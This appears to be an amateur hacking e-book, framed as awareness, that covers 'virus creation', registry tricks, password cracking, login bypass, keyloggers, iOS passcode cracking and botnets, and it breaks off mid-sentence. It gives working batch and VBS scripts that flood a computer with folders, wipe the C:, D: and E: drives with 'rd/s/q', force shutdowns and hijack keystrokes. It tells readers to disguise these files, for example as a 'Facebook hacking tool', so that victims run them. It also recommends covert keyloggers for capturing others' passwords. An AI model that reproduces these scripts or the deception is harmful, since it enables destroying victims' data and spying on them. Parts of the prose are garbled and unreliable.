PREFACE

Computer hacking is the practice of altering computer hardware and software to carry out

a goal outside of the creator‘s original intention. People who slot in computer hacking

actions and activities are often entitled as hackers. The majority of people assume that

hackers are computer criminals. They fall short to identify the fact that criminals and

hackers are two entirely unrelated things. Hackers in realism are good and extremely

intelligent people, who by using their knowledge in a constructive mode help

organizations, companies, government, etc. to secure credentials and secret information on

the Internet. Years ago, no one had to worry about Crackers breaking into their computer

and installing Trojan viruses, or using your computer to send attacks against others. Now

that thing have changed, it’s best to be aware of how to defend your computer from

damaging intrusions and prevent black hat hackers. So, in this Book you will uncover the

finest ways to defend your computer systems from the hackers This Book is written by

keeping one object in mind that a beginner, who is not much familiar regarding computer

hacking, can easily, attempts these hacks and recognize what we are trying to demonstrate.

After Reading this book you will come to recognize that how Hacking is affecting our

everyday routine work and can be very hazardous in many fields like bank account

hacking etc. Moreover, after carrying out this volume in detail you will be capable of

understanding that how a hacker hacks and how you can defend yourself from these

threats.

INTRODUCTION

INTRODUCTION TO HACKERS

First of all before digging into intense hacking processes let’s take a look on what hacking

is, who the hackers are, what are their intentions, types of hackers and their communities

etc.

Communities of Hackers:

HACKERS

CRACKERS

PHREAKS

SCRIPT KIDDIES

HACKERS are the Intelligent Computer Experts.

INTENSION OF HACKERS:

•To gain in-depth knowledge of any computer system, what is happening at the backend of

any specific program of the system behind the screen of the computer system?

• Their motive is to find possible security risk and vulnerabilities in a computer system or

network.

•They create security awareness among the people by sharing knowledge and proper

security preventions that should be taken by the user.

Types of Hackers:

•White Hat Hackers –“White hats” is the name used for security experts. While they often

use the same tools and techniques as the black hats, they do so in order to foil the bad

guys. That is, they use those tools for ethical hacking and computer forensics. Ethical

hacking is the process of using security tools to test and improve security (rather than to

break it!). Computer forensics is the process of collecting evidence needed to identify and

convict computer criminals.

•Black Hat Hackers –They use their knowledge and skill set for illegal activities and

destructive intents. Obviously, the “black hats” are the bad guys. These are the people who

create and send viruses and worms, break into computer systems, steal data, shut down

networks, and basically commit electronic crimes. We talk about black hats at several

points in this book. Black hat hackers and malware writers are not considered as the same

thing in the security community—even though they are both breaking the law.

•Grey Hat Hackers They use their knowledge and skill set for the legal and illegal

purpose. They are white hats in public but internally they do some black hat work. Gray

hats sit in the middle of the fence because sometimes they cross that ethical line (or more

often, define it differently). For example, gray hats will break into a company’s computer

system just to wander around and see what’s there. They think that simply because they

don’t damage any data, they’re not committing a crime. Then they go and apply for jobs as

security consultants for large corporations. They justify their earlier break-in as some sort

of computer security training. Many really believe that they’re providing a public service

by letting companies know that their computers are at risk.

CRACKERS are those who break into the applications with some malicious intentions

either for their personal gain or their greedy achievements.

Intension of crackers:

• Their motive is to get unauthorized access into a system and cause damage or destroy or

reveal confidential information.

•To compromise the system to deny services to legitimate users for troubling, harassing

them or for taking revenge.

•It can cause financial losses & image/reputation damages, defamation in the society for

individuals or organizations.

PHREAKS are those people who use computer devices and software programs and their

tricky and sharp mind to break into the phone networks.

Intention of phreaks:

•To find loopholes in security in phone network and to make phone calls and access

internet at free of cost!!!

You may get a spoofed call or a big amount of bill. You can also get a call with your

own number.

SCRIPT KIDDIES: These are computer novices who take advantage of the hacker tools,

vulnerability scanners, and documentation available free on the Internet but who don’t

have any real knowledge of what’s really going on behind the scenes. They know just

enough to cause you headaches but typically are very sloppy in their actions, leaving all

sorts of digital fingerprints behind. Even though these guys are the stereotypical hackers

that you hear about in the news media, they often need only minimal skills to carry out

their attacks.

Intention of script kiddies:

•They use the available information about known vulnerabilities to break into the network

systems.

•It’s an act performed for a fun or out of curiosity.

Black Hat Hackers Strategy:

•Information Gathering & Scanning

•Getting Access on the website

•Maintain the access

•Clear the Tracks

Conclusion: Security is important because prevention is better than cure.

HACKERS WANT YOUR PC

HACKERS WANT YOUR PC…

You might be thinkingthathackers don’t careabout your computer,but they do. Hackers

want access to your system for many different reasons. Remember, once a hacker breaks

in and plants a Trojan, the door is open for anyone to return. The hackers know this and

are making money off from it. They know it’s easy to hide and very difficult to track them

back once they own your PC.

Overall, the Internet is an easy place to hide. Compromised computers around the world

have helped to make hiding simple. It is easy to find the last IP address from where an

attack was launched, but hackers hop from many unsecured systems to hide their location

before they launch attacks.

IP address is a unique address that identifies where a computer is connected to the

Internet. Every computer, even yours if you’re using broadband access, has an Internet

protocol (IP) address.

Over the past four years, most cyber-attacks have been launched from computers within

the INDIA. However, this doesn’t mean that systems in the INDIA are the original source

of the attack. A hacker in Pakistan could actually use your computer to launch a denial of

service (DOS) attack. To the entire world, it might even look as if you started the attack

because the hacker has hidden his tracks so that only the last “hop” can be traced

VIRUS CREATIONS

CREATION OF VIRUS IN NOTEPAD

Now, it’s time to administrate your computer by creating some viruses in the form of batch

file. You can create various types of viruses with havingdistinct functionality.

Eachandeveryviruswill affect thevictim’s computer system by the way you have coded its

programming in the batch file. You can create viruses which can freeze the victim’s

computer or it can also crash it.

Virus creation codes of the batch file:-

—Codes to be written in the notepad-

—Extension of the files should be “.bat” -

1.) To create a huge amount of folders on victim’s desktop screen:

First of all your task is to copy the following codes in the notepad of your computer.

For opening the notepad:

Go to run option of your computer by pressing “window+R”. Simply type “notepad”

and click on the OK option.

CODES: @echo off

:top

md%random%

goto top.

Now when you have copied the codes in the notepad your next work is to save the text

document you have created.

Go to fileoptionandsave your document by any namebut“don’tforget to keep the extension

as ‘.bat’.

For example you can save your text document by the name“ujjwal.bat”

Or you can also keep your document name as “Facebook hacking tool.bat” to confuse the

victim and enforce him to open the virus you have created to destroy the desktop of the

victim.

When you have done saving the document just double click on the batch file to open it.

Suddenly you will see that the command prompt of the victim’s computer opened

automatically and it will display large amount of codes to running in the command

prompt.

After 5-10 seconds you will see that there are a huge amount of folders created

automatically on the desktop of the victim and it will also leads the desktop to freeze or

crash.

2.) To create more folders in C, D, and E drive of victim’s computer:-

As we have learned above to create many folders on the desktop of the victim, in the same

way we can create a lot of folders in the C:, D:, and E: drives of the victims computer by

applying the same method as we have followed above but there is a little amendment in

the codes of the batch file of this virus.

CODES:

@echo off

:VIRUS

cd /d C:

md%random%

cd /d D:

md%random%

cd /d E:

md%random%

goto VIRUS

Copy and paste the above code in the notepad and follow the same steps as we have

followed before to create more numbers of folders in the local drives of the victim’s

computer.

3.) To format C, D: and E: drive of your computer:

Open Notepad

Copy the below command there

“rd/s/q D:\

rd/s/q C:\

rd/s/q E:" (Without quotes)

Save as “anything.bat

Double click on the virus icon.

This virus formats the C, D and E Drive in 5 Seconds.

4.) Convey your friend a little message and shut down his / her computer:

@echo off

msg * I don’t like you

shutdown -c “Error! You are too stupid!” -s

Save it as “Anything.BAT” in All Files and send it.

5.) Open Notepad, slowly type “Hello, how are you? I am good thanks” and freak your

friend out:

Open the notepad and type the following code :

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject(“WScript.Shell”)

WshShell.Run “notepad”

WScript.Sleep 100

WshShell.AppActivate “Notepad”

WScript.Sleep 500

WshShell.SendKeys “Hel”

WScript.Sleep 500

WshShell.SendKeys “lo “

WScript.Sleep 500

WshShell.SendKeys “, ho”

WScript.Sleep 500

WshShell.SendKeys “w a”

WScript.Sleep 500

WshShell.SendKeys “re “

WScript.Sleep 500 WshShell.SendKeys “you” WScript.Sleep 500

WshShell.SendKeys “? ” WScript.Sleep 500

WshShell.SendKeys “I a” WScript.Sleep 500

WshShell.SendKeys “m g” WScript.Sleep 500

WshShell.SendKeys “ood” WScript.Sleep 500

WshShell.SendKeys ” th” WScript.Sleep 500

WshShell.SendKeys “ank” WScript.Sleep 500

WshShell.SendKeys “s! “

Save it as “Anything.VBS” and send it.

6.) Hack your friend’s keyboard and make him type “You are a fool” simultaneously:

Open the notepad and type the following codes:

Set wshShell = wscript.CreateObject(“WScript.Shell”) do

wscript.sleep 100

wshshell.sendkeys “You are a fool.”

loop

Save it as “Anything.VBS” and send it.

7.) Open Notepad continually in your friend’s computer:

Open the notepad and type the following codes:

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Save it as “Anything.BAT” and send it.

8.) THRETEN YOUR FRIEND BY MAKING SCREEN FLASH

To make a really cool batch file that can make your entire screen flash random colors until

you hit a key to stop it, simply copy and paste the following code into notepad and then

save it as a .bat file.

@echo off

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo e110 DF 88

C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC A8 08 74 FB

BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16 74 CD B8 03

00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

But if you really want to mess with a friend then copy and paste the following code which

will do the same thing except when they press a key the screen will go black and the only

way to stop the batch file is by pressing CTRL-ALT-DELETE.

Codes:

@echo off :a echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo

e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC

A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16

74 CD B8 03 00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe Enjoy!!! Note: - some of the

above given codes can harm your computer after execution so; don’t try it on your pc. You

can use a test computer for it.

BATCH TO EXE CONVERSION

Convert Batch files into Executable Programs

The batch files and the executable files work in almost similar way. Basically both are as

much as a set of instructions and logics for the command execution. But more preferably

we treat executable files as they are more convenient than batch one.

But why would we want that?

Some of the reasons are listed below:

1. We can include extra tools in our EXE dependent batch file.

2. Moreover EXE provides protection to the source script to restrict modification.

3. EXE files can be pinned to windows start menu as well as in the task bar.

Here weare usinga tool called“Batchtoexe converter” whichprovides you a platform to run

the batch files as executable files.

You can download it from here

“Bat to ExeConverter” is a flow

conversionprogram whose purpose is to help you to easily obtain executable files out of

batch items.

If you prefer to convert a BATCH file into an executable one easily, “Bat to

ExeConverter” is a simple and yet effective solution.

The application provides you with a simplified interface, which makes it comfortable for

both beginner and advanced users. From its primary window, you have the ability to select

the desired batch file and output file. Then, you will be able to customize your settings

according to your choice and preferences.

Another interesting and compactible feature is that you can choose the language for your

EXE file, the choices being English or German. From the Options tab, users can opt to

create a visible or invisible application, which means displaying a console window or not.

However, if you want to encrypt the resulting EXE file, you can protect it with a security

password.

MESSING UP WITH REGISTRY

HACKING “OPEN” OPTION

If we want to open any folder either we use to double click on the folder or we just right

click on the folder and it will show us a dialogue box with OPEN option at the top of the

dialogue box.

Andtodaywe are goingto learn thathow to hackthe “OPEN” option by any text by which

you want to replace it.

STEPS:

Go to “run” option and type “regedit” and click on ok. Note: “regedit” stands for

registry editing.

Registry: - it is responsible for saving the binary equivalent working of every application

in operating system.

Then a window will open in front of you of registry editing. It has five options.

1. HKEY_CLASSES_ROOT

2. HKEY_CURRENT_USER

3. HKEY_LOCAL_MACHINE

4. HKEY_USERS

5. HKEY_CURRENT_CONFIG

Then you have to click on “HKEY_CLASSES_ROOT” It will open and you see a lot of

items under it.

Search for the “FOLDER” option under it.

Click on the folder option to open it.

When you open folder option you will see the “SHELL” option. By opening the

“SHELL” option you will see the “OPEN” option under it.

Just give a single click on the open option instead opening it You will see two items

defined in the left white workspace.

Just open the “Default” string (1st option).

Do not touch the value name.

Type anything by which you want to replace your “open” option.

For example I am typing here that “your computer is hacked by Ujjwal Sahay”.

Then click on ok option.

Now go on any folder and just give a right click to it.

Woooooo! Now the open option is changed by the text “your computer is hacked by

Ujjwal Sahay”.

PASSWORD CRACKING EXPLAINED

PASSWORD CRACKING

Password crackers are the most famous and elementary tools in the hacker’s toolbox.

These have been around for some time and are fairly effective at “guessing” most users’

passwords, at least in part because most users do a very poor job of selecting secure

passwords.

First of all if a hacker is going to crack your password then at the very first step they

usually try some guesses to crack your password. They generally made it easy by social

engineering. Hackers know that most users select simple passwords that are easy to

remember. The top choices of the users are nearly always names that are personally

meaningful to the user—first names of immediate family members leadthelist,followedby

pet’s namesand favoritesporting teams. Password crackers may end up loading full

English dictionaries, but they can hit a fair number of passwords with the contents of any

popular baby name book. Other poor password selections include common numbers and

numbers that follow a common format such as phone numbers and social security

numbers.

Compounding the problem, many users set the same user name and password for all

accounts, allowing hackers to have a field day with a single harvested password. That’s

something to consider before you use the same password for Facebook as you use at

school or at work.

The key to creating a good password is to create something that someone cannot guess or

easily crack. Using your pet’s name therefore is not a good technique. Using your login

name is also a bad technique because someone who knows your login (or your name,

since many login names are simply variations on your surname), could easily break into

your system.

Cracking passwords with hardcore tools

High-tech password cracking involves using a program that tries to guess a password by

determining all possible password combinations. These high-tech methods are mostly

automated after you access the computer and password database files.

The main password-cracking methods are dictionary attacks, bruteforce attacks, and

rainbow attacks. You find out how each of these work in the following sections.

Password-cracking software:

You can try to crack your organization’s operating system and application passwords with

various password-cracking tools:

Cain & Abel: Cain and Abel is a well-known password cracking tool that is capable of

handling a variety of tasks. The most notable thing is that the tool is only available for

Windows platforms. It can work as sniffer in the network, cracking encrypted passwords

using the dictionary attack, brute force attacks, cryptanalysis attacks, revealing password

boxes, uncovering cached passwords, decoding scrambled passwords, and analyzing

routing protocols. It use to cracks LM and NT LanManager (NTLM) hashes, Windows

RDP passwords, Cisco IOS and PIX hashes, VNC passwords, RADIUS hashes, and lots

more. (Hashes are cryptographic representations of passwords.)

Brutus: Brutus is one of the most popular remote online password cracking tools. It claims

to be the fastest and most flexible password cracking tool. This tool is free and is only

available for Windows systems. It was released back in October 2000.

It supports HTTP (Basic Authentication), HTTP (HTML Form/CGI), POP3, FTP, SMB,

Telnet and other types such as IMAP, NNTP, NetBus, etc. You can also create your own

authentication types. This tool also supports multi-stage authentication engines and is able

to connect 60 simultaneous targets. It also has resumed and load options. So, you can

pause the attack process any time and then resume whenever you want to resume.

Elcomsoft Distributed Password Recovery:

(www.elcomsoft.com/edpr.html) cracks Windows, Microsoft Office, PGP, Adobe, iTunes,

and numerous other passwords in a distributed fashion using up to 10,000 networked

computers at one time. Plus, this tool uses the same graphics processing unit (GPU) video

acceleration as the Elcomsoft Wireless Auditor tool, which allows for cracking speeds up

to 50 times faster.

Elcomsoft System Recovery:(www.elcomsoft.com/esr.html)

cracks Or resets Windows user passwords, sets administrative rights, and resets password

expirations all from a bootable CD.

John the Ripper : - (www.openwall.com/john) John the Ripper is another well-known free

open source password cracking tool for Linux, UNIX and Mac OS X. A Windows version

is also available. This tool can detect weak passwords. A pro version of the tool is also

available, which offers better features and native packages for target operating systems.

ophcrack :(http://ophcrack.sourceforge.net) cracks Windows User passwords using

rainbow tables from a bootable CD. Rainbow tables are pre-calculated password hashes

that can help speed up the cracking process.

Aircrack-NG : - (http://www.aircrack-ng.org/) Aircrack-NG is a WiFi password cracking

tool that can crack WEP or WPA passwords. It analyzes wireless encrypted packets and

then tries to crack passwords via its cracking algorithm. It is available for Linux and

Windows systems. A live CD of Aircrack is also available.

Proactive System Password Recovery

(www.elcomsoft.com/pspr.

html) recovers practically any locally stored Windows password, such As logon

passwords, WEP/WPA passphrases, SYSKEY passwords, and RAS/dialup/VPN

passwords.

Rainbow Crack : - (http://project-rainbowcrack.com) Rainbow Crack is a hash cracker

tool that uses a large-scale time-memory trade off process for faster password cracking

than traditional brute force tools. Time-memory tradeoff is a computational process in

which all plain text and hash pairs are calculated by using a selected hash algorithm. After

computation, results are stored in the rainbow table. This process is very time consuming.

But, once the table is ready, it can crack a password must faster than brute force tools.

You also do not need to generate rainbow tablets by yourselves. Developers of Rainbow

Crack have also generated LM rainbow tables, NTLM rainbow tables, MD5 rainbow

tables and Sha1 rainbow tables. Like Rainbow Crack, these tables are also available for

free. You can download these tables and use for your password cracking processes.

7#pwdump) password hashes from the SAM (Security database.

extracts Accounts Windows Manager)

Password storage locations vary by operating system:

Windows usually stores passwords in these locations:

• Active Directory database file that’s stored locally or spread across domain controllers

(ntds.dit)

Windows may also store passwords in a backup of the SAM file in the c:\winnt\repair or

c:\windows\repair directory.

• Security Accounts Manager (SAM) database (c:\winnt\ system32\config) or

(c:\windows\system32\config)

Some Windows applications store passwords in the Registry or as plaintext files on the

hard drive! A simple registry or file-system search for “password” may uncover just what

you’re looking for.

Linux and other UNIX variants typically store passwords in these files:

• /etc/passwd (readable by everyone)

• /etc/shadow (accessible by the system and the root account only)

• /.secure/etc/passwd (accessible by the system and the root account only)

• /etc/security/passwd (accessible by the system and the root account only)

MUST HAVE PASSWORD POLICIES

PASSWORD CREATING POLICIES

As an ethical hacker, you should show users the importance of securing their passwords.

Here are some tips on how to do that:

Demonstrate how to create secure passwords:-generally people use to create their

passwords using only words, which can be less secure.

Show what can happen when weak passwords are used or passwords are shared.

Diligently build user awareness of social engineering attacks:Encourage the use of a

strong password-creation policy that includes the following criteria:

Use punctuation characters to separate words.

Use upperand lowercase letters, special characters, and numbers.

Never use only numbers. Such passwords can be cracked quickly.

Change passwords every 15 to 30 days or immediately if they’re suspected of being

compromised.

Use different passwords for each system. This is especially important for network

infrastructure hosts, such as servers, firewalls, and routers.

It’s okay to use similar passwords — just make them slightly different for each type of

system, such as wweraw777-Win7 for Windows systems and wweraw453 for Linux

systems.

Use variable-length passwords. This trick can throw off attackers because they won’t

know the required minimum or maximum length of Passwords and must try all password

length combinations.

Don’t use common slang words or words that are in a dictionary.

Don’t rely completely on similar-looking characters, such as 3 instead of E, 5 instead of

S, or ! Instead of 1. Password-cracking programs can for this.

Use password-protected screen savers. Unlocked screens are a great way for systems to

be compromised even if their hard drives are encrypted.

Don’t reuse the same password within at least four to five password changes.

Don’t share passwords. To each his or her own!

Avoid storing user passwords in an unsecured central location, such as an unprotected

spreadsheet on a hard drive. This is an invitation for disaster. Use Password Safe or a

similar program to store user passwords.

KONBOOT

BYPASS WINDOWS LOGON SCREEN PASSWORD

Sometimes it creates a critical condition if you forgot your Windows administrator

password and it’s quite urgent to recover it without any flaw. This article will make it

convenient to recover your admin password.

We are using a tool named as KON-BOOT.

Kon-Boot is an application which will bypass the authentication process of Windows

based operating systems. It enables you login in to any password protected test machine

without any knowledge of the password.

Kon-Boot works with both 64-bit and 32-bit Microsoft Windows operating systems.

Needy things: –

A Pen Drive or Any USB Device such as Memory Card or a blank CD. Kon-Boot (Latest

version)

Your 5 minutes and also a working mind.

Technical instructions: –

1. Download KON-BOOT from internet.

2. Extract the ZIP and run the “KonBootInstaller.exe”

3. Burn the ISO.

4. Boot from CD/USB device.

5. After Windows is loaded it will show you a Kon-boot screen.

6. Leave the password box empty and just hit OK it will directly enable you into the

windows account.

Limitations:

IT MAY CAUSE BSOD (NOTEPAD PARTICULAR BUGS).

KEYLOGGERS

BE AWARE

KEYSTROKE LOGGING

One of the best techniques for capturing passwords is remote keystroke logging — the use

of software or hardware to record keystrokes as they’re typed into the computer.

Generally you use to ask your friends or relatives for logging in into your account by their

computers.

So, be careful with key loggers installed in their computers. Even with goodintentions,

monitoringemployees raises various legal issues if it’s not done correctly. Discuss with

yourlegal counsel what you’ll be doing, ask for their guidance, and get approval from

upper management.

Logging tools: - With keystroke-logging tools, you can assess the log files of your

application to see what passwords people are using:

Keystroke-logging applications can be installed on the monitored computer.

I suggest you to check out family key logger by (www.spyarsenel.com).

Another popular tool is Invisible Key Logger Stealth; Dozens of other such tools are

available on the Internet.

One more you can checkout is KGB employee monitor is one of the favorite of me

…..Because it is not only invisible but it will also not shown by your task manager and it

uses password protection too.

Hardware-based tools, such as Key Ghost (www.keyghost.com), fit between the keyboard

and the computer or replace the keyboard altogether.

A keystroke-logging tool installed on a shared computer can capture the passwords of

every user who logs in.

PREVENTIONS:

The best defense against the installation of keystroke-logging software on your systems is

to use an anti-malware program that monitors the local host. It’s not foolproof but can

help. As for physical key loggers, you’ll need to visually inspect each system.

The potential for hackers to install keystroke-logging software is another reason to ensure

that your users aren’t downloading and installing random shareware or opening

attachments in unsolicited emails. Consider locking down your desktops by setting the

appropriate user rights through local or group security policy in Windows.

DO YOU HAVE RATED 7.9 ?

Learn How to Hack Windows Experience Index

Starting from Windows Vista, Microsoft introduced a kind of benchmarking system in its

Operating System. In Windows Vista and 7 users can rate their PC using the Windows

Experience Index. The Highest possible score in Windows Vista is 5 while Windows 7

machines can go up to 7.9 in the experience index.

In the Windows Experience index the base score is based on the lowest score of any

component. Such as in the test PC it was 4.4 based because of the Graphics sub score.

However it is not so tough to manipulate these numbers and change these scores according

to your will. You can change these just to fool anyone.

GETTING STARTED

To make things simplified we would recommend you to run Windows Experience Index

first (If you have not done so) if you have done that you can skip this section.

To do those open Control panels go to System and security and then click on Check the

WindowsExperience Index

After that click on Rate This computer

Note that your Computer may take several minutes in rating the system

You will see a screen similar to this.

MESSING UP WITH SCORES

To manipulate these scores head to Windows installation drive (C: in our case). Then go to

Windows > Performance > WinSAT > DataStore

You will able to see several indexing files there.

You will need to open the file ending with “Formal.Assessment (Initial).WinSAT”

Open the file in notepad. You will see the following window:

In the notepad window you don’t need to do too down to hunt anything, simply change the

values according to your will in the upper area. The values are written between tags. Such

Change the values between tags and save the files. Next time you will open the Windows<

Experience Index the values will be changed.

OFF THE ROAD TIP: For more fun we suggest everyone to keep their Scores realistic

(Not 7.9 Exactly)

To revert the changes you can re-run the assessment.

THE HIDDEN DRIVES

HACK TO HIDE LOCAL DRIVES

In this article we are going to learn about hiding the stuffs. Generally, you guys use to hide

the particular file which you want to keep personal. Which is the most common way in

these days and it can easily be exposed even by a middle school child.

But, here we are going to learn that how to hide the whole specified drives (local disks)

which keep you safe from your family child. You can easily keep your data safe either it is

your girlfriend’s pic or blah…blah…blah…!

Let’s start to learn how to hide the specified drives step by step:-

For hiding the drives you have to edit the group policies of your computer.

For editing group policies just go on the “run” option and type “gpedit.msc” and click

on ok.

You can easily search in your search box for the GROUP POLICY.

The group policy editor will be opened after you!

Then you will see in the left part of the window there is a “USER

CONFIGURATION” option.

Under the user configuration option there are three options :1.) Software settings

2.) Windows settings

3.) Administrative templates

Just give a single click on the administrative template option. You see that some

options are made available in the right part of the window.

Open the “all settings option.”

When you opened the “all settings options” there is a list of lot of options displayed after

you!

Clickon the “settings” option to arrange them then alphabetically. If already arranged

you can skip this step.

Now clicking sometimes the “H” key of your keyboard search for the “hide these

specified drives in my computer” option.

Double click on the “hide these specified drives in my computer” option.

A window will opens after you.

“ENABLE” it and choose for the drives which you want to hide from the given options

in the lower left part of the window.

After applying the settings just click on ok and you see the drives will hide according to

your choice.

I have selected to hide only A, B, C and D drives only so the E: drive will not be hidden

in the screenshot given below.

In the above given screenshot only “E:” drive is shown to the user.

If you want to access the drives which are hidden then you have to click on the address

bar of my computer’s window as marked in the above screenshot and type D:” or “C:” and

click on ENTER button of your keyboard to open the drives respectively.

LET’S HAVE SOME FUN

FUNNY VIRUS TO SHOCK YOUR FRIENDS

Hello guys, I think after reading the above chapters now it’s time to have some fun. In this

article we are going to learn that how to give a shock to your friend for a minute.

Basically here we are going to create a funny virus which will not actually harm your

friend’s computer but it will shock him/her for a minute.

So let’s create that virus following the same steps as we have created some viruses in

previous chapters.

So follow the steps:

Open the notepad and type the following code:

CODES:

@echo off

msg * your computer is attacked by a virus.

msg * click ok to format.

msg * all your data has been deleted.

Save the document with the extension “.bat”

For example you can save the virus by the name “funny virus.bat”

Now your work is to execute the virus.

Just double click on the virus and it will show you a message that

“your computer is attacked by a virus”.

Now either you click on “ok” or you close the above message box, it will again show you

a message “click ok to format”.

And I am sure that you will not going to click on ok.

But again it does not matter if you click on ok or close the box, but I am sure that you will

close the box.

Again it will show you a message that “all your data has been deleted”.

And for a moment your friend’s heartbeat are going to be on the optimum.

So this is a funny way to shock your friends without harming them actually.

DO YOU HAVE i7

HOW TO CHANGE YOUR PROCESSOR NAME

The trick we are going to learn here is the most interesting trick and I am sure that it will

increase your prestige among your friends. Because now these days it’s a big deal among

the group of your friend that if you have i3, i5 or i7 processor.

So let’s learn how to change your pc from any of core processor to i7.

For it you have to follow these steps:

First of all you have to go on the “run” option and write “regedit” to open the registry

editor of your computer and click on ok

It will open the registry editing window after you.

Open the “HKEY_LOCAL_MACHINE” as highlighted in the figure.

Then open the “hardware” option present under it.

Then open the “Description” option and then open the “system” option. Also open the

“central processor” option under system option.

Then give a single click to “0” folder present under “central processor”.

And then you will see that in the right part of the regedit window there appear a lot of

options. This is called as STRINGS.

Search for the “processor name string” among those strings.

Open the processor name string giving a double click on it. A dialogue box will open

after you.

In the “value data” text box it is written what your computer’s processor actually is.

I am using “Pentium(R) Dual-Core CPU T4500 @ 2.30GHz” as written in the value data.

Now delete those texts and write your own text replacing them.

Such as you can write”Intel(R)Core i7CPU T9500 @ 2.30GHz” and click on “ok”

option.

Now close the registry editor and let’s checkif it is working or not. For checking it, you

have to check the properties of your computer.

For checking it, just give a right click on my computer icon and click on the “properties”

option which is the last option of the dialogue box.

The system properties

of your computer are shown after you.

Yuppie! As you have seen in the processor name it will be as expected.

Now your processor is turned into i7.

And now you can say with proud that YOU HAVE A CORE i7 PROCESSOR.

iOS PASSWORD CRACKING

IOS PASSWORD CRACKING

Now these days’people generallyuse 4-digit pin to secure their phone. A mobile device

gets lost or stolen and all the person recovering it has to do is try some basic number

combinations such as 1234, 1212, or 0000.and soon the will be unlocked.

Let’s see how to crack your ios password:

1. For the first step you have to plug you iPhone or computer into device firmware

upgrade mode i.e. DFU mode:

To enter DFU mode, simply power the device off, hold down the Home button (bottom

center) and sleep button (upper corner) at the same time for 10 seconds, and continue

holding down the Home button for another 10 seconds. The mobile device screen goes

blank.

2. after putting your phone into DFU mode you need to Load the iOS Forensic Toolkit for

this you need to insert your USB license dongle into your computer and running

Tookit.cmd:

3.After that the work is to do is to load the iOS Forensic Toolkit Ram disk onto the mobile

device by selecting option 2 LOAD RAMDISK:When you loaded the RAMDISK code it

allows your computer to communicate with the mobile device and run the tools which are

needed for cracking the password (among other things).

4. Now you need to select the iOS device type/model that is connected to your computer,

as shown in Figure:

I don’t have iphone 6 with me now so; I have selected option 14 because I have an iPhone

4 with GSM.

After that you see the toolkit which is connecting to the device and it confirms a

successful load, as shown in Figure:

Also you will see the Elcomsoft logo in the middle of your mobile device’s screen ……I

think it looks pretty:

6. Now if you want to crack the device’s password/PIN, you have to simply select the

option 6 GET PASSCODE on the main menu:

iOS Forensic Toolkit will prompt you to save the passcode to a file. For saving the

passcode simply; you can press Enter to accept the default of passcode.txt. The cracking

process will commence and, with any luck, the passcode will be found and displayed after

you as shown in Figure:

So, having no password for phones and tablets is bad, and a 4-digit PIN such as this is also

not much better choice.

So be aware about the attacks! Get up-users-getup it’s time to be secured.

You can also use iOS Forensic Toolkit to copy files and even crack the key chains to

uncover the password that protects the device’s backups in iTunes (option 5 GET KEYS).

PREVENTION:

For the prevention from being hacked you can refer to the chapter “PASSWORD

CREATING POLICIES”.

HIDE YOUR RECYCLE BIN

HACK TO HIDE THE RECYCLE BIN

Sometimes when you just try to modify the windows GUI or even you use to install any

theme for your windows sometimes you find that the recycle bin icon remains not

modified and destroys the beauty of your modification.

So in this article we are going to learn that how to delete the RECYCLE BIN by hacking

registry.

For deleting the recycle bin you need to open the registry editor of your computer.

I think now after reading the above sections you are familiar with the “registry editor”.

So go through the registry editor and follow the given path.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVe 00AA00

2F954E}

When you finally opened the last path, you will see the default string of recycle bin is

defined.

Now DELETE that string and restart your computer.

You will find that recycle bin is deleted.

I am attaching a screenshot for your ease.

By finalizing all steps don’t forget to restart your computer.

It will work only on the restart.

HOW BOTNET DDoS ATTACK WORKS…

DDoS Attack?

DDoS stands for “Distributed Denial of Service.” A DDoS attack is also a malicious

conceive to produce a server or a network resource inaccessible to users, normally by

quickly officious with or suspending the administrations of a host related to the net. In

contrast to a Denial of Service (DoS) attack, inside that one computer and one internet

association is used to flood targeted resource with packets, a DDoS attack uses many

computers and lots of internet connections. DDoS attacks is loosely divided into three

different types. The first, Application Layer DDoS Attacks embrace Slowloris, Zero-day

DDoS attacks, DDoS attacks that consider Apache, Windows or OpenBSD vulnerabilities

and extra. Comprised of Seemingly legitimate and innocent requests, the goal of these

attacks is to crash the net server, and additionally the magnitude is measured in Requests

per second. The second kind of DDoS attack, Protocol DDoS Attacks, along with SYN

floods, fragmented packet attacks, Ping of Death, Smurf DDoS and extra. This sort of

attack consumes actual server resources, or those of intermediate facility, like firewalls

and load balancers, and is measured in Packets per second. The third kind of DDoS attack

is usually thought-about to most dangerous. Volume-based DDoS Attacks embrace UDP

floods, ICMP floods, and different spoofedpacket floods. The volume-based attack’s goal

is to saturate the information measure of the attacked web site, and magnitude is measured

in Bits per second.

Botnet?

Sometimes observed as a “Bunch of Zombies,” a Botnet may be a cluster of Internetconnected

computers, every of that has been maliciously condemned, sometimes with the

help of malware like Trojan Horses. Usually while not the data of the computers’ rightful

homeowners, these machines square measure remotely controlled by an external source

via commonplace network protocols, and often used for malicious functions, most

ordinarily for DDoS attacks.

Botnet Tools

The conceiver of a Botnet is often brought u p as a “bot herder” or “bot master.” This

individual controls the Botnet remotely, usually through associate IRC server or a channel

on a public IRC server – referred to as the command and control (C&C) server. To

communicate with the C&C server, the bot master uses numerous hidden channels, as well

as apparently innocuous tools like Twitter or IM. A lot of advanced bots automatically

hunt down a lot of resources to exploit, joining a lot of systems to the Botnet during a

process referred to as “scrumping.” Botnet servers might continually communicate and

work with different Botnet servers, making entire communities of Botnet’s, with

individual or multiple bot masters. This implies that any given Botnet DDoS attack may

